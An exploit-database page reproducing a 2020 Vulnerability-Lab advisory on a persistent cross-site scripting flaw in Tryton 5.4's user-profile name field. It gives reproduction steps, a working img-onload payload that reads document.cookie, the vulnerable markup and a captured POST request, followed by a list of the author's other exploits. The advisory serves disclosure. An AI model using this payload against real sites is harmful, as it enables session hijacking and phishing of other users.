Search for hundreds of thousands of exploits

"Tryton 5.4 - Persistent Cross-Site Scripting"

Author

Exploit author

Vulnerability-Lab

Platform

Exploit platform

php

Release date

Exploit published date

2020-05-13

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
# Exploit Title: Tryton 5.4 - Persistent Cross-Site Scripting
# Exploit Author: Vulnerability-Lab
# Date: 2020-05-13
# Vendor Homepage: https://www.tryton.org/
# Version: 5.4
# Software Link: https://www.tryton.org/download


Document Title:
===============
Tryton v5.4 - (Name) Persistent Cross Site Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2233


Common Vulnerability Scoring System:
====================================
4.4


Product & Service Introduction:
===============================
https://www.tryton.org/  &  https://www.tryton.org/download


Affected Product(s):
====================
Tryton Foundation
Product: Tryton v5.4 - CMS (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-05-12: Public Disclosure (Vulnerability Laboratory)


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official Tryton v5.4 web-application series.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The persistent vulnerability is located in the `name` parameter of the
`User Profile` module. Remote attackers with low
privileges are able to inject own malicious persistent script code as
name for user accounts. The injected code can be
used to attack the frontend or backend of the web-application. The
request method to inject is POST and the attack vector
is located on the application-side. Injection point is the profile input
field with the name value and the execute occurs
in the front ui on top right were the avatar is listed or in the admin
backend on the res.user;name="Users"&views.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation of
affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] User Profile

Vulnerable Input(s):
[+] Name

Vulnerable Parameter(s):
[+] name

Affected Module(s):
[+] /index
[+] /model/res.user;name="Users"&views (backend)


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by low privileged web
application user account with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the application and login to your low privileged user account
2. Move to the profile on top right side (click)
3. Inject test payload to the "Name" input field and save the entry
4. Execution occurs after save on top right and
/model/res.user;name="Users"&views of the admin backend
5. Successful reproduce of the persistent cross site vulnerability!


PoC: Payload
%20>"><img%20src="evil.source%20onload=alert(document.cookie)>


PoC: Vulnerable Source (Execution Point)
<div class="input-group input-group-sm"><span
class="input-group-btn"><button type="button" class="btn
btn-default">Filters</button></span>
<input class="form-control mousetrap" placeholder="Search"
autocomplete="off" list="ui-id-3"><datalist id="ui-id-3"></datalist>
<span class="input-group-btn"><button type="button" class="btn
btn-default hidden-md hidden-lg" aria-label="Clear Search"
title="Clear Search" style="display: none;"><img class="icon"
src="blob:https://tryton.localhost:8080/4672612e-3ec6-4bd1-aa4d-bd379bd89c04"></button>
<button type="submit" class="btn btn-default" aria-label="Search"
title="Search"><img class="icon"
src="blob:https://demo5.4.tryton.org/ab0d098c-1302-4ffa-8f27-3204fb244082"></button><button
class="btn btn-default hidden-xs"
type="button" title="Bookmark this filter" aria-label="Bookmark this
filter"><img class="icon" aria-hidden="true"
src="blob:https://demo5.4.tryton.org/d97b8af2-ca4b-48e2-a40e-a772955d7ea8"></button><button
type="button" class="btn btn-default
dropdown-toggle" data-toggle="dropdown" aria-expanded="false"
aria-label="Bookmarks" title="Bookmarks" id="bookmarks" disabled="">
<img aria-hidden="true" class="icon"
src="blob:https://demo5.4.tryton.org/c9b2efdd-1ec8-4785-b7a0-d3b8dcb6d7e9"></button>
<ul class="dropdown-menu dropdown-menu-right" role="menu"
aria-labelledby="bookmarks"></ul><button type="button"
class="btn btn-default hidden-xs" aria-expanded="false" aria-label="Show
inactive records" title="Show inactive records">
<img aria-hidden="true" class="icon"
src="blob:https://demo5.4.tryton.org/6ad6ad9c-4d17-4592-9e3c-6f698b6f9a27"></button></span></div>


--- PoC Session Logs [POST] ---
https://tryton.localhost:8080/tryton/
Host: tryton.localhost:8080
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Authorization: Session
ZGVtbzoyOjMyYmIyOWE3ODYxMzA3NGVkZThlMDBhNmEyMWVkNzFhZTAxOGQwMzA1YTJhMGU1NTNjOWU2YTNhZWM5MzA1MzM=
X-Requested-With: XMLHttpRequest
Content-Length: 527
Origin: https://tryton.localhost:8080
Connection: keep-alive
Referer: https://tryton.localhost:8080/
{"id":195,"method":"model.res.user.set_preferences","params":[{"name":"%20>"><img%20src="evil.source%20onload=alert(document.cookie)>">",
"signature":"test
signature"},{"client":"1aab6de2-1f59-43de-b0d0-a8319558e4e8","warehouse":null,"employee":null,"company":1,
"company.rec_name":"Michael Scott Paper
Company","language":"en","language_direction":"ltr","groups":[5,15,16,13,19,20,17,9,10],
"locale":{"date":"%m/%d/%Y","grouping":[3,3,0],"decimal_point":".","thousands_sep":","},"company_work_time":
{"h":3600,"m":60,"s":1,"Y":6912000,"M":576000,"w":144000,"d":28800}}]}
-
POST: HTTP/2.0 200 OK
server: nginx/1.16.1
content-type: application/json
access-control-allow-origin: https://tryton.localhost:8080
vary: Origin
content-encoding: gzip


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.




-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
Release DateTitleTypePlatformAuthor
2020-05-13"Sellacious eCommerce 4.6 - Persistent Cross-Site Scripting"webappsphpVulnerability-Lab
2020-05-13"Tryton 5.4 - Persistent Cross-Site Scripting"webappsphpVulnerability-Lab
2020-05-11"Sentrifugo CMS 3.2 - Persistent Cross-Site Scripting"webappsphpVulnerability-Lab
2020-05-11"OpenZ ERP 3.6.60 - Persistent Cross-Site Scripting"webappsphpVulnerability-Lab
2020-05-07"Draytek VigorAP 1000C - Persistent Cross-Site Scripting"webappshardwareVulnerability-Lab
2020-05-05"Fishing Reservation System 7.5 - 'uid' SQL Injection"webappsphpVulnerability-Lab
2020-05-01"Super Backup 2.0.5 for iOS - Directory Traversal"webappsiosVulnerability-Lab
2020-05-01"HardDrive 2.1 for iOS - Arbitrary File Upload"webappsiosVulnerability-Lab
2020-04-29"Internet Download Manager 6.37.11.1 - Stack Buffer Overflow (PoC)"localwindowsVulnerability-Lab
2020-04-29"Easy Transfer 1.7 for iOS - Directory Traversal"webappsiosVulnerability-Lab
2020-04-23"Sky File 2.1.0 iOS - Directory Traversal"webappsiosVulnerability-Lab
2020-04-22"Mahara 19.10.2 CMS - Persistent Cross-Site Scripting"webappslinuxVulnerability-Lab
2020-04-20"Fork CMS 5.8.0 - Persistent Cross-Site Scripting"webappsphpVulnerability-Lab
2020-04-17"TAO Open Source Assessment Platform 3.3.0 RC02 - HTML Injection"webappsphpVulnerability-Lab
2020-04-17"Playable 9.18 iOS - Persistent Cross-Site Scripting"webappsiosVulnerability-Lab
2020-04-15"AirDisk Pro 5.5.3 for iOS - Persistent Cross-Site Scripting"webappsiosVulnerability-Lab
2020-04-15"File Transfer iFamily 2.1 - Directory Traversal"webappsiosVulnerability-Lab
2020-04-15"SeedDMS 5.1.18 - Persistent Cross-Site Scripting"webappsphpVulnerability-Lab
2020-04-15"Macs Framework 1.14f CMS - Persistent Cross-Site Scripting"webappsphpVulnerability-Lab
2020-04-15"SuperBackup 2.0.5 for iOS - Persistent Cross-Site Scripting"webappsiosVulnerability-Lab
2019-12-19"Deutsche Bahn Ticket Vending Machine Local Kiosk - Privilege Escalation"webappshardwareVulnerability-Lab
2019-08-14"TortoiseSVN 1.12.1 - Remote Code Execution"webappswindowsVulnerability-Lab
2018-01-23"CentOS Web Panel 0.9.8.12 - 'row_id' / 'domain' SQL Injection"webappsphpVulnerability-Lab
2018-01-21"Shopware 5.2.5/5.3 - Cross-Site Scripting"webappsjsonVulnerability-Lab
2018-01-21"CentOS Web Panel 0.9.8.12 - Multiple Vulnerabilities"webappsphpVulnerability-Lab
2018-01-15"Flash Operator Panel 2.31.03 - Command Execution"webappsphpVulnerability-Lab
2018-01-12"Kentico CMS 11.0 - Buffer Overflow"doswindowsVulnerability-Lab
2018-01-08"SonicWall NSA 6600/5600/4600/3600/2600/250M - Multiple Vulnerabilities"webappshardwareVulnerability-Lab
2018-01-08"Photos in Wifi 1.0.1 - Path Traversal"webappsiosVulnerability-Lab
2017-09-04"CodeMeter 6.50 - Cross-Site Scripting"webappsmultipleVulnerability-Lab
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48466/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.